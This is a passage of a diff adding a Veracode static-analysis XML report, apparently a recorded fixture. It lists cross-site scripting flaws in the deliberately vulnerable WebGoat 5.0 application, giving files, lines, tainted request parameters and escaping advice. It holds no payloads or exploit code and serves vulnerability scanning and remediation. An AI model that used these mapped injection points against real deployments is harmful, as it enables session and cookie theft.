+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"172\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"205\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"174\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"85\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"178\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"59\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"124\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"180\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"101\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getRestartLink().
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"194\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"90\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to println() contains tainted data from the variable printParameters.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"212\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"73\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"16\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to println() contains tainted data from the variable printCookies.
+        The tainted data originated from an earlier call to javax.servlet.http.httpservletrequest.getcookies.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"223\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"79\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"269\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getMessage().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.http.httpservletrequest.getcookies, and javax.servlet.http.httpservletrequest.getheader.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"231\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"84\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"103\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"187\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"193\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"121\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable result.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
+        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
